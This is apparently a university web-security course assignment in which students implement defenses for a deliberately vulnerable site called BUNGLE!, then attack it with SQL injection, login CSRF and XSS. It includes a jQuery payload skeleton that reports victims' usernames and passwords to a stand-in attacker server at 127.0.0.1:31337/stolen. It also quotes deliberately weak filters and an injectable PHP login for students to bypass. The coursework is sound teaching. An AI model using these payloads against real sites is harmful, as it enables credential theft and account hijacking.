

Project 2: Web Security Pitfalls

This project is split into two parts, with the first checkpoint due on **Wednesday, February 13** at **6:00 pm** and the second checkpoint due on **Monday, February 25** at **6:00 pm**. We strongly recommend that you get started early.

This is a group project; you **SHOULD** work in **teams of two**, and if you are in a team of two, you **MUST** submit one project per team. Please find a partner as soon as possible. If have trouble forming a team, post to Piazza's partner search forum.

The code and other answers your team submits must be entirely your own work, and you are bound by the Student Code. You **MAY** consult with other students about the conceptualization of the project and the meaning of the questions, but you **MUST NOT** look at any part of someone else's solution or collaborate with anyone outside your team. You may consult published references, provided that you appropriately cite them (e.g., with program comments), as you would in an academic paper.

Solutions **MUST** be submitted electronically in any one of the team member's GitHub repository, following the submission checklist given at the end of each checkpoint. Details on the filename and submission guideline are listed at the end of the document.

"I am regularly asked what the average Internet user can do to ensure his security. My first answer is usually 'Nothing; you're screwed!'."

– Bruce Schneier

Introduction

In the first checkpoint of this project, you are provided with a code skeleton of a simple web application. You are asked to complete tasks which include writing a SQL query script to construct a database, completing prepared statements, writing input filters and implementing token validation mechanism. In the second checkpoint of this project, we provide an insecure version of this website, and your job is to attack it by exploiting three common classes of vulnerabilities: cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. You are also asked to exploit these problems with various flawed defenses in place. Understanding how these attacks work will help you better defend your own web applications.

Objectives:

- Learn to spot common vulnerabilities in websites and to avoid them in your own projects.
- Understand the risks these problems pose and the weaknesses of naive defenses.
- Gain experience with web architecture and with Python's Bottle Framework, HTML, JavaScript, and SQL programming.

Guidelines

- You **SHOULD** work in a team of 2.
- You **MUST** use Python, HTML, Javascript, and SQL to complete the project. You **SHOULD** use jQuery to complete the project.
- Your answers may or may not be the same as your classmates'.
- All the necessary files to start the project will be provided under the folder called "WebSec". We've also generated some empty files for you to submit your answers in. You **MUST** submit your answers in the provided files; we will only grade what's there!

Read This First

This project asks you to develop attacks and test them, with our permission, against a target website that we are providing for this purpose. Attempting the same kinds of attacks against other websites without authorization is prohibited by law and university policies, and may result in *fines, expulsion, and jail time*. **You must not attack any website without authorization!** Per the course ethics policy, you are required to respect the privacy and property rights of others at all times, *or else you will fail the course*. See the "Ethics, Law, and University Policies" section on the course website.

General Guidelines

You **SHOULD** develop this project targeting Firefox 24 (the Firefox version on the VM). Newer versions of Firefox may work (at least until Firefox 58). Many browsers include different client-side defenses against XSS and CSRF that will interfere with your testing.

To ensure that Firefox 24 doesn't immediately check for updates, we recommend you turn off the Wi-Fi on your computer, then open the browser, navigate to Preferences, Advanced, Updates, and set it to *Never check for updates*. This will ensure that Firefox doesn't download and automatically install the update as soon as you open the browser.

For your convenience during manual testing, we have included drop-down menus at the top of each page that let you change the CSRF and XSS defenses that are in use. The solutions you submit must override these selections by including the `csrfdefense=n` or `xssdefense=n` parameter in the target URL, as specified in each task below. You **MUST NOT** attempt to subvert the mechanism for changing the level of defense in your attacks.

In all parts, you should implement the simplest attack you can think of that defeats the given set of defenses. In other words, do not simply attack the highest level of defense and submit that attack as your solution for all defenses. Also, you do not need to try to combine the vulnerabilities, except where explicitly stated below.

Resources

The Firefox Web Developer tools will be a tremendous help for this project, especially the JavaScript console and debugger, DOM inspector, and network monitor. The developer tools can be found under Tools > Web Developer in Firefox. See <https://developer.mozilla.org/en-US/docs/Tools>.

Although general purpose tools are permitted, you **MUST NOT** use tools that are designed to automatically test for vulnerabilities.

Your solutions will involve manipulating SQL statements and writing web code using HTML, JavaScript, and the jQuery library. Feel free to search the web for answers to basic how-to questions. There are many fine online resources for learning these tools. Here are a few that we recommend:

Bottle Framework Tutorial:

<http://bottlepy.org/docs/dev/tutorial.html>

SQL Tutorial:

<http://www.w3schools.com/sql/>

SQL Statement Syntax:

<http://dev.mysql.com/doc/refman/5.5/en/sql-syntax.html>

MySQLdb API:

<http://mysql-python.sourceforge.net/MySQLdb-1.2.2/>

MySQL Connection/Python Developer Guide:

<http://dev.mysql.com/doc/connector-python/en/>

Introduction to HTML:

<https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction>

HTTP Made Really Easy:

<http://www.jmarshall.com/easy/http/>

Using jQuery Core:

<http://learn.jquery.com/using-jquery-core/>

jQuery API Reference:

<http://api.jquery.com>

To learn more about SQL Injection, XSS, and CSRF attacks, and for tips on exploiting them, see:

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

[https://www.owasp.org/index.php/Cross-Site_Request_Forgery_\(CSRF\)_Prevention_Cheat_Sheet](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)

[https://www.owasp.org/index.php/XSS_\(Cross_Site_Scripting\)_Prevention_Cheat_Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

[https://www.owasp.org/index.php/Testing_for_SQL_Injection_\(OTG-INPVAL-005\)](https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005))

Target Website

A startup named **BUNGLE!** is about to launch its first product—a web search engine—but their investors are nervous about security problems. Unlike the Bunglers who developed the site, you took CS 461/ECE 422, so the investors have hired you to perform a security evaluation before it goes live.

BUNGLE! is available for you to test at <http://bungle-cs461.cs.illinois.edu>. **Note:** We recommend you access it from the campus network or through the school VPN. You should use the school's VPN client, which you can download from the <https://webstore.illinois.edu/Shop/product.aspx?zpid=2600>. Visit <https://answers.uillinois.edu/illinois/page.php?id=47629> for more instructions.

The site is written in Python using the Bottle web framework. Although Bottle has built-in mechanisms that help guard against some common vulnerabilities, the Bunglers have circumvented or ignored these mechanisms in several places.

In addition to providing search results, the site accepts logins and tracks users' search histories. It stores usernames, passwords, and search history in a MySQL database.

Before being granted access to the source code, you reverse engineered the site and determined that it replies to five main URLs: `/`, `/search`, `/login`, `/logout`, and `/create`. The function of these URLs is explained below, but if you want an additional challenge, you can skip the rest of this section and do the reverse engineering yourself.

Main page (`/`) The main page accepts GET requests and displays a search form. When submitted, this form issues a GET request to `/search`, sending the search string as the parameter “q”.

If no user is logged in, the main page also displays a form that gives the user the option of logging in or creating an account. The form issues POST requests to `/login` and `/create`.

Search results (`/search`) The search results page accepts GET requests and prints the search string, supplied in the “q” query parameter, along with the search results. If the user is logged in, the page also displays the user's recent search history in a sidebar.

Note: Since actual search is not relevant to this project, you might not receive any results.

Login handler (`/login`) The login handler accepts POST requests and takes plaintext “username” and “password” query parameters. It checks the user database to see if a user with those credentials exists. If so, it sets a login cookie and redirects the browser to the main page. The cookie tracks which user is logged in; manipulating or forging it is **not** part of this project.

Logout handler (`/logout`) The logout handler accepts POST requests. It deletes the login cookie, if set, and redirects the browser to the main page.

Create account handler (`/create`) The create account handler accepts POST requests and receives plaintext “username” and “password” query parameters. It inserts the username and

password into the database of users, unless a user with that username already exists. It then logs the user in and redirects the browser to the main page.

Note: The password is neither sent nor stored securely; however, none of the attacks you implement should depend on this behavior. You should choose a password that other groups will not guess, but never use an important password to test an insecure site!

2.1 Checkpoint 1 (20 points)

Before you examine **BUNGLE!** written by Bunglers, you will implement some parts of **BUNGLE!** in this checkpoint so that you understand its functionalities, security mechanisms, and potential vulnerabilities. You will use Python (Bottle Framework and MySQLdb) and SQL for this checkpoint.

2.1.1 Bungle Setup (0 point)

This section will guide you to setup **BUNGLE!** on the provided VM. All setup instructions in this section are based on **Ubuntu** 14.04 LTS. We recommend you use the VM to complete the assignment, and we will not accept regrades for inconsistencies caused by your own machine's environment.

Note: All commands during this setup procedure may require sudo privilege.

2.1.1.1 Updating Your Machine's Package Lists

Before you begin setup, you **SHOULD** update your machine's package lists. To update in Ubuntu, use the command below.

```
apt-get update
```

2.1.1.2 MySQL Setup

BUNGLE! uses a **MySQL** database to store user information. To install MySQL on Ubuntu, use the following command.

```
apt-get install mysql-server
```

The version of mysql that will be installed on the VM is 5.5.54. After the install is complete, you will be asked to input a password for the root user. Make sure you enter a non-empty password. After you have successfully installed MySQL, install Python's **MySQLdb** using the command below.

```
apt-get install python-mysqldb
```

2.1.1.3 Bottle Setup

```
apt-get install python-bottle
```

2.1.1.4 Starting a Local Server

The code skeleton for **BUNGLE!** is available in your GitHub repository. After checkout, you can start a local server with the following commands and connect to the server at `http://127.0.0.1:8080/`. You need **Python 2.7** and **mysql 5.5+** to run this code.

```
cd bungle
python project2.py
```

Most parts of **BUNGLE!** are not functional yet, since you have not implemented them. In the following sections, you will implement each part of **BUNGLE!**.

2.1.2 SQL (5 points)

2.1.2.1 Database and User Creation

In this section, you will write a script consisting of SQL queries. Running this script will construct a database for **BUNGLE!**. Before you begin writing this script, you **MUST** create a database and a user for this database. Below are the requirements for **BUNGLE!**'s database and its user. You do not need to submit the database and user creation queries.

- The name of the database is **project2**.
- The name of the user is your **NETID** (If you are working on a team, the NETID must be that of the GitHub repo that you are submitting to). Create the user for the localhost host name. You **MUST** use the password of the user specified in a file named **dbrw.secret**. Do **NOT** change this password.
- User **NETID** **MUST** only have **insert**, **update** and **select** privileges for tables in the **project2** database.

2.1.2.2 SQL Script Writing Exercise

After you have created the database and a user associated to it, you should write SQL queries in `2.1.2.txt` with requirements shown below.

Note: All columns for both tables **MUST NOT** allow **null**. **You will lose points if the columns don't explicitly state this.**

- Create a **table** named **users**. This table will store **BUNGLE!** users' account information. This table includes the following columns:
 - id**: Values are stored as type **int unsigned** (don't use **INT(32)** or **INT(10)**) and need to be **auto_incremented**. This column should also be the **primary key** for table **users**. This column stores a unique identification integer for each user.
 - username**: Values are stored as **varchar(32)**. This column should be an **unique index** since duplicate usernames **MUST NOT** be allowed.
 - password**: Values are stored as **varchar(32)**.
 - passwordhash**: Values are stored as **blob(16)**.

- Create a **table** named **history** which stores each user's search history. This table includes the following columns:

id: Values are stored as type **int unsigned** and needs to be **auto_incremented**. This column should also be the **primary key** for table **history**. This column stores a unique identification integer for each search history.

user_id: Values in this column should be stored as an **int unsigned** and this column should be an **index**. This column represents the id number of the user who wrote the query.

query: Values are stored as a **varchar(2048)**. This column stores the user's query input.

Remember that all of these columns should not allow **null**. After you write the script which creates the two tables, you can run your script in the MySQL console with the command shown below.

```
source 2.1.2.txt
```

Ensure that 2.1.2.txt is formatted as a valid sequence of SQL statements, i.e, each line of the submitted file must be a valid SQL statement terminated with a semicolon (;).

Files

1. 2.1.2.txt: an empty .txt file which you will write SQL queries

2.1.3 Prepared Statements (5 points)

In this section, you will utilize the MySQLdb API on **BUNGLE!** so that user inputs are processed and stored in the MySQL database via SQL queries. For each function, write a prepared statement using `cur.execute()` so that when SQL queries are processed, **BUNGLE!** can distinguish what is data and what is code. For more information regarding module `cursors` and function `execute()`, please refer to the MySQLdb API from the Resources page.

Note: For the `getHistory` function, make sure you only return the last 15 queries that have been made in descending order of when the search was made. Use MD5 for the password hash.

Files

1. `bungle/database.py`: a python code skeleton for **BUNGLE!**'s SQL query processing

2.1.4 Input Sanitation (5 points)

Prepared statements protect **BUNGLE!** against SQL injections, but this mechanism does not filter against inputs which can be interpreted as HTML code. Thus, **BUNGLE!** is currently vulnerable against XSS attacks.

In this section, you will implement **BUNGLE!**'s input sanitation filters against XSS attacks. There are multiple possible filters you can implement to protect your application against XSS, but for this exercise we will encode `<` and `>`, which are the characters used for HTML tags. In the

provided code skeleton, a "no defense" filter is implemented as class XSSNone. You will implement class XSSEncodeAngles which filters and encodes input < and > to < and > respectively. Once you have completed implementing this filter you can test it at <http://127.0.0.1:8080/?xssdefense=1&csrfdefense=0>.

Files

1. bungle/defenses.py: a python code skeleton for **BUNGLE!**'s defense mechanisms

2.1.5 Token Validation (5 points)

Finally, you will implement a token validation mechanism, to protect against CSRF. The **BUNGLE!** server sets a cookie named `csrf_token` to a random hexadecimal 16-byte value (so the length of the token is 32) and also include this value as a hidden field in the login form. When the form is submitted, the server verifies that the client's cookie matches the value in the form. In `defenses.py`, you will implement this mechanism in a class named `CSRFToken`. The pseudo-code of this mechanism is shown below.

```
token ← request's cookie "csrf_token"
if token is None
    token ← a random 16 byte hexadecimal string
endif
token → response's cookie "csrf_token"
return token
```

- `init` receives two parameters, `request` and `response`.
- `request` represents a request from a user, and `response` represents a response from the server.
- Both objects contain a cookie named `csrf_token` as a private variable.
- You can retrieve this cookie from `request` using a getter function `get_cookie("csrf_token")`. If the user does not have that cookie, then this function will return `None`. Otherwise, it will return the 16-byte value which was previously generated.
- Likewise, you can set cookie for `response` to value using a setter function `set_cookie("csrf_token", value)`.

After you have implemented this mechanism, you can test it at <http://127.0.0.1:8080/?xssdefense=0&csrfdefense=1>.

Files

1. `bungle/defenses.py`: a python code skeleton for **BUNGLER!**'s defense mechanisms

Checkpoint 1: Submission Checklist

The following blank files for checkpoint 1 has been created in your GitHub repository under the directory WebSec. Modify the solutions inside the WebSec folder and commit them to GitHub.

Team Members

`partners.txt` : a text file containing netids of both members, one netid per line.

example content of `partners.txt`

```
netid1
netid2
```

Solution Format

example content of `2.1.2.txt`

```
SQL QUERY FOR CREATE TABLE users
SQL QUERY FOR CREATE TABLE history
```

List of solution files that must be submitted for checkpoint 1

- `partners.txt`
- `2.1.2.txt`
- `bungle/database.py`
- `bungle/defenses.py`
- `dbwr.secret`

2.2 Checkpoint 2 (100 points)

In this checkpoint, you will identify and exploit vulnerabilities against **BUNGLE!** written by Bunglers.

2.2.1 SQL Injection (30 points)

In this section, your goal is to demonstrate SQL injection attacks that log you in as an arbitrary user without knowing the password. Your job is to find SQL injection vulnerabilities for two targets. In order to protect other students' accounts, we've made a series of separate login forms for you to attack that aren't part of the main **BUNGLE!** site. For each of the following defenses, provide inputs to the target login form that successfully log you in as the user "victim".

2.2.1.1 No defenses

This target does not have any protection against SQL injection.

Target: <http://bungle-cs461.cs.illinois.edu/sqlinject0/>

2.2.1.2 Simple escaping

The server escapes single quotes (') in the inputs by replacing them with two single quotes.

Target: <http://bungle-cs461.cs.illinois.edu/sqlinject1/>

2.2.1.3 Escaping and Hashing

The server uses the following PHP code, which escapes the username and applies the MD5 hash function to the password.

```
if (isset($_POST['username']) and isset($_POST['password'])) {
    $username = mysql_real_escape_string($_POST['username']);
    $password = md5($_POST['password'], true);
    $sql_s = "SELECT * FROM users WHERE username='$username' and pw='$password'";
    $rs = mysql_query($sql_s);
    if (mysql_num_rows($rs) > 0) {
        echo "Login successful!";
    } else {
        echo "Incorrect username or password";
    }
}
```

This is more difficult than the previous two defenses. You will need to write a program to produce a working exploit. You can use any language you like, but we recommend Python or C. You **MUST** submit source code of this program compressed in .tar.gz (We will not accept .zip) and the .txt file which has a solution displayed on the webpage.

Target: <http://bungle-cs461.cs.illinois.edu/sqlinject2/>

2.2.1.4 The SQL

This target uses a different database. Your job is to use SQL injection to retrieve:

1. The name of the database
2. The version of the SQL server
3. All of the names of the tables in the database
4. **Your** (not just any) secret string hidden in the database

Target: <http://bungle-cs461.cs.illinois.edu/sqlinject3/>

The text file you submit should end with a list of the URLs for all the queries you made to learn the answers. If you have more than one URL for each answer, please list all of the URLs used to obtain the answer. **Please refer to the example solution format in the Checkpoint 2 Submission Checklist.**

What to submit

1. After you successfully logged in to target <http://bungle-cs461.cs.illinois.edu/sqlinject0/>, copy the value you obtained from the website to 2.2.1.1.txt.
2. After you successfully logged in to target <http://bungle-cs461.cs.illinois.edu/sqlinject1/>, copy the value you obtained from the website to 2.2.1.2.txt.
3. After you successfully logged in to target <http://bungle-cs461.cs.illinois.edu/sqlinject2/>, copy the value you obtained from the website to 2.2.1.3.txt.
4. 2.2.1.3.tar.gz: Submission for 2.2.1.3 which consists of the source code for 2.2.1.3.
5. 2.2.1.4.txt: Submission for 2.2.1.4.

2.2.2 Cross-site Request Forgery (CSRF) (20 points)

2.2.2.1 No Defenses

Your next task is to demonstrate CSRF vulnerabilities against the login form, and **BUNGLE!** has provided two variations of their implementation for you to test. Your goal is to construct attacks that surreptitiously cause the victim to log in to an account you control, thus allowing you to monitor the victim's search queries by viewing the search history for this account. For each of the defenses below, create an HTML file that, when opened by a victim, logs their browser into **BUNGLE!** under the account "attacker" and password "133th4x".

Target: <http://bungle-cs461.cs.illinois.edu/login?csrfdefense=0&xssdefense=5>

2.2.2.2 Token validation

For this target, the server uses the token validation mechanism which you implemented in 2.1.5. The server sets a cookie named `csrf_token` to a random 16-byte value and also includes this value as a hidden field in the login form. When the form is submitted, the server verifies that the client's cookie matches the value in the form. You are allowed to exploit the XSS vulnerability to accomplish your goal.

Note: Your solution MUST NOT make infinite POST requests.

Hint: Remember that JavaScript can have asynchronous code, and lines of code in one order may not execute in that same order, especially when dealing with HTTP requests. To be sure your solution works, you should clear your cookies and try your solution in an incognito browser session. Your solution should work correctly the first time.

Target: <http://bungle-cs461.cs.illinois.edu/login?csrfdefense=1&xssdefense=0>

What to submit

1. 2.2.2.1.html: Submission for 2.2.2.1.
2. 2.2.2.2.html: Submission for 2.2.2.2.

Your solutions should not display evidence of an attack; the browser should just display a blank page with no evidence of an attack. The solution html file should NOT redirect the page. (If the victim later visits **BUNGLE!**, it will say "logged in as attacker", but that's fine for the purposes of the project. After all, most users won't immediately notice.)

The HTML files you submit must be self-contained, but they may embed CSS and JavaScript. Your files may also load jQuery from the URL <http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js>. Make sure you test your solutions by opening them as local files in Firefox 24. We will use this setup for grading.

Note: Since you're sharing the attacker account with other students, we've hardcoded it so the search history won't actually update. You can test with a different account you create to see the history change.

2.2.3 Cross-site Scripting (XSS) (50 points)

Attacking Bungle

Your final goal is to demonstrate XSS attacks against the **BUNGLE!** search box, which does not properly filter search terms before echoing them to the results page. For each of the defenses below, your goal is to construct a URL that, if loaded in the victim's browser, correctly executes the payload specified below. We recommend that you begin by testing with a simple payload (e.g., `alert(0);`), then move on to the full payload. Note that you should be able to implement the payload once, then use different means of encoding it to bypass the different defenses.

Payload

The payload (the code that the attack tries to execute) will be an extended form of spying and password theft. When the victim clicks on the url you create, the main page of **BUNGLE!** should open up. All functions of the **BUNGLE!** site should be under control of your code and should report what the user is doing to a server you control, until the user leaves the site. The site should look and appear to be working normally. Your payload needs to accomplish these goals:

Stealth:

- Display all pages correctly, with no significant evidence of attack. (Minor text formatting glitches are acceptable.)
- Display normal URLs in the browser's location bar, with no evidence of attack. (Hint: Learn about the HTML5 History API.)
- Hide evidence of any attack in the **BUNGLE!** search history view, as long as your code is running.

Persistence:

- Continue the attack if the user navigates to another page on the site by following a link or submitting a form, including by logging in or logging out. (Your code does **not** have to continue working if the user's actions trigger an error that isn't the fault of your code.)
- Continue the attack if the user navigates to another **BUNGLE!** page by using the browser's back or forward buttons.

Spying:

- Report all login, create, and logout events by loading the URLs:
`http://127.0.0.1:31337/stolen?event=login&user=<username>&pass=<password>`
`http://127.0.0.1:31337/stolen?event=logout&user=<username>`

You can use the same `event=login` for both logging in to an existing account and for creating a new account. We have provided a python server, `simple_server.py` in the shared folder.

The `simple_server.py` may log each event 10 times. This is normal, and you can ignore the behavior and treat it as one singular log. You can test receiving the event data on your local machine using this server.

- Report each page that is displayed (what the user thinks they're seeing) by loading the URL: `http://127.0.0.1:31337/stolen?event=nav&user=<username>&url=<encoded_url>` (`user=<username>` can be omitted if no user is logged in.)

Defenses

There are five levels of defense. In each case, you **SHOULD** submit the simplest attack you can find that works against that defense; you **SHOULD NOT** simply attack the highest level and submit your solution for that level for every level. Try to use a different technique for each defense. The Python code that implements each defense is shown below, along with the target URL.

Make sure that each URL submitted in this question starts with `http://`.

2.2.3.1 Warm up

To get you comfortable with the concept of XSS, we set up a dummy website for you to work with. The website accepts a single GET parameter name that is vulnerable to an XSS attack. Your goal is to change the "Click me" link to redirect the victim to `http://www.ece.illinois.edu/`.

Target: `http://bungle-cs461.cs.illinois.edu/multivac/`

2.2.3.2 No defenses

Target: `http://bungle-cs461.cs.illinois.edu/search?xssdefense=0`

Also submit a human readable version of the code you used to generate your URL for 2.2.3.2, as a file named `2.2.3.2_payload.html`.

2.2.3.3 Remove “script”

```
filtered = re.sub(r"(?i)script", "", input)
```

Target: `http://bungle-cs461.cs.illinois.edu/search?xssdefense=1`

2.2.3.4 Recursively removing “script”

The function shown below filters the user input.

```
def filter(input):  
    original = input
```

```
filtered = re.sub(r"(?i)script", "", input)
while original != filtered:
    original = filtered
    filtered = re.sub(r"(?i)script", "", original)
return filtered
```

Target: <http://bungle-cs461.cs.illinois.edu/search?xssdefense=2>

2.2.3.5 Recursively Removing several tags

The function shown below filters the user input.

```
def filter(input):
    original = input
    filtered = re.sub(
        r"(?i)script|<img|<image|<body|<style|<meta|<embed|<object",
        "", input)
    while original != filtered:
        original = filtered
        filtered = re.sub(
            r"(?i)script|<img|<image|<body|<style|<meta|<embed|<object",
            "", original)
    return filtered
```

Target: <http://bungle-cs461.cs.illinois.edu/search?xssdefense=3>

2.2.3.6 Remove some punctuation

The filter function removes semicolons, single, and double quotes from the input using the regular expression below. `filtered = re.sub(r"[;'\"]", "", input)`

Target: <http://bungle-cs461.cs.illinois.edu/search?xssdefense=4>

What to submit

1. Submit the URL for 2.2.3.1 to 2.2.3.1.txt.
2. Submit the URL for 2.2.3.2 to 2.2.3.2.txt and the payload for creating the URL to 2.2.3.2_payload.html.
3. Submit the URL for 2.2.3.3 in 2.2.3.3.txt.
4. Submit the URL for 2.2.3.4 in 2.2.3.4.txt.

5. Submit the URL for 2.2.3.5 in 2.2.3.5.txt.

6. Submit the URL for 2.2.3.6 in 2.2.3.6.txt.

Your submission for each level of defense will be a text file with the specified filename that contains a single line consisting of a URL. When this URL is loaded in a victim's browser, it should execute the specified payload against the specified target. The payload encoded in your URLs must be self-contained, but they may embed CSS and JavaScript. Your payload may also load jQuery from the URL <http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js>. Make sure you test your solutions in Firefox 24, the browser we will use for grading.

Framework Code

You may build your XSS attacks by extending the following framework if you wish.

```
<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>

// Extend this function:
function payload(attacker) {
    function log(data) {
        console.log($.param(data))
        $.get(attacker, data);
    }
    function proxy(href) {
        $("html").load(href, function(){
            $("html").show();
            log({event: "nav", url: href});
            $("#query").val("pwned!");
        });
    }
    $("html").hide();
    proxy("./");
}

function makeLink(xssdefense, target, attacker) {
    if (xssdefense == 0) {
        return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
            encodeURIComponent("<script" + ">" + payload.toString() +
                ";payload(\"" + attacker + "\");</script" + ">");
    } else {
        // Implement code to defeat XSS defenses here.
    }
}

var xssdefense = 0;
var target = "http://bungle-cs461.cs.illinois.edu/";
var attacker = "http://127.0.0.1:31337/stolen";

$(function() {
    var url = makeLink(xssdefense, target, attacker);
    $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});

</script>
<h3></h3>
```

Checkpoint 2: Submission Checklist

Inside your WebSec directory, you will have the auto-generated files listed below. Make sure that your answers for all tasks up to this point are submitted in the following files before **Monday, February 25 at 6:00 pm**:

Team Members

`partners.txt` : a text file containing netid of both members, one netid per line. Place the student's netid, whose directory contains your project submission, at the top of the file.

example content of `partners.txt`

```
netid1
netid2
```

example content of `2.2.1.1.txt`, `2.2.1.2.txt` and `2.2.1.3.txt`

```
username=victim&password=PASSWORD
```

example content of `2.2.1.4.txt`

```
DB_NAME
DB_VERSION
TABLE_NAME_1, TABLE_NAME_2, TABLE_NAME_3
A_SECRET_STRING

URL_FOR_PROBLEM_1
URL_FOR_PROBLEM_2
URL_FOR_PROBLEM_3
URL_FOR_PROBLEM_4
```

example content of `.txt` files for 2.2.3

```
URL_TO_FAKE_BUNGL
```

List of solution files that must be submitted for checkpoint 2

- `partners.txt`
- `2.2.1.1.txt`
- `2.2.1.2.txt`
- `2.2.1.3.txt`
- `2.2.1.3.tar.gz`
- `2.2.1.4.txt`
- `2.2.2.1.html`
- `2.2.2.2.html`
- `2.2.3.1.txt`
- `2.2.3.2.txt`
- `2.2.3.2_payload.html`
- `2.2.3.3.txt`
- `2.2.3.4.txt`
- `2.2.3.5.txt`
- `2.2.3.6.txt`